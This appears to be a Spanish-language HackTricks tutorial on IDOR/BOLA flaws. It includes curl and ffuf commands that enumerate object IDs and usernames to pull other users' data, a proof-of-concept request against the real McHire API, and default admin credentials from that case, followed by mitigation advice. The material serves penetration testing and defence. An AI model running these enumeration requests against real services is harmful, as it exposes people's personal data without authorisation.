IDOR (Insecure Direct Object Reference)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlable por el usuario que se usa directamente para acceder a un objeto interno sin verificar que el llamador esté autorizado para acceder/modificar ese objeto. La explotación exitosa normalmente permite privilege-escalation horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, full account takeover o mass-data exfiltration.

1. Identificando potenciales IDORs

  1. Busca parámetros que referencien un objeto:
  • Ruta: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Consulta: ?id=42, ?invoice=2024-00001
  • Cuerpo / JSON: {"user_id": 321, "order_id": 987}
  • Encabezados / Cookies: X-Client-ID: 4711
  1. Prefiere endpoints que lean o actualicen datos (GET, PUT, PATCH, DELETE).
  2. Fíjate cuando los identificadores son secuenciales o predecibles – si tu ID es 64185742, entonces 64185741 probablemente existe.
  3. Explora flujos ocultos o alternativos (p. ej. el enlace “Paradox team members” en páginas de login) que podrían exponer APIs adicionales.
  4. Usa una sesión autenticada con bajos privilegios y cambia solo el ID manteniendo el mismo token/cookie. La ausencia de un error de autorización suele ser un indicio de IDOR.

Manipulación manual rápida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeración automatizada (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerando IDs de descarga predecibles (ffuf)

Los paneles de hosting de archivos autenticados suelen almacenar metadatos por usuario en una única tabla files y exponen un endpoint de descarga como /download.php?id=<int>. Si el manejador solo comprueba si el ID existe (y no si pertenece al usuario autenticado), puedes barrer el espacio de enteros con tu cookie de sesión válida y robar las copias de seguridad/configs de otros tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr elimina las plantillas estilo 404 para que solo queden resultados verdaderos (p. ej., IDs 54/150 leaking full site backups and signing material).
  • El mismo flujo de trabajo de FFUF funciona con Burp Intruder o un curl loop — solo asegúrate de mantenerte autenticado mientras incrementas los IDs.

Oráculo de respuesta de error para la enumeración de user/file

Cuando un endpoint de descarga acepta tanto un username como un filename (p. ej. /view.php?username=<u>&file=<f>), diferencias sutiles en los mensajes de error a menudo crean un oráculo:

  • Username inexistente → “User not found”
  • Filename inválido pero extensión válida → “File does not exist” (a veces también lista archivos disponibles)
  • Extensión inválida → error de validación

Con cualquier sesión autenticada, puedes fuzz el parámetro username manteniendo un filename benigno y filtrar por la cadena “user not found” para descubrir usuarios válidos:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., /view.php?username=amanda&file=privacy.odt). Este patrón suele provocar la divulgación no autorizada de documentos de otros usuarios y credential leakage.

2. Caso práctico del mundo real – Plataforma Chatbot McHire (2025)

Durante una evaluación del portal de reclutamiento de McHire, impulsado por Paradox.ai, se descubrió el siguiente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de sesión de usuario para cualquier cuenta de restaurante de prueba
  • Parámetro del body: {"lead_id": N} – identificador numérico secuencial de 8 dígitos

Al disminuir lead_id el evaluador recuperó la PII completa de solicitantes arbitrarios (nombre, correo electrónico, teléfono, dirección, preferencias de turno) además de un JWT de consumidor que permitió session hijacking. La enumeración del rango 1 – 64,185,742 expuso aproximadamente 64 millones de registros.

Solicitud de prueba de concepto:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinado con las credenciales administrativas predeterminadas (123456:123456) que concedían acceso a la cuenta de prueba, la vulnerabilidad resultó en una filtración crítica de datos a nivel de toda la empresa.

3. Impacto de IDOR / BOLA

  • Escalada horizontal – leer/actualizar/eliminar datos de otros usuarios.
  • Escalada vertical – un usuario con pocos privilegios obtiene funcionalidades sólo para administrador.
  • Filtración masiva de datos si los identificadores son secuenciales (p. ej., IDs de solicitantes, facturas).
  • Secuestro de cuentas al robar tokens o restablecer contraseñas de otros usuarios.

4. Mitigaciones & Best Practices

  1. Enforce object-level authorization en cada request (user_id == session.user).
  2. Preferir indirect, unguessable identifiers (UUIDv4, ULID) en lugar de IDs auto-incrementales.
  3. Realizar la autorización server-side, nunca confiar en campos de formulario ocultos o en controles de UI.
  4. Implementar verificaciones RBAC / ABAC en un middleware central.
  5. Añadir rate-limiting & logging para detectar la enumeración de IDs.
  6. Security test every new endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks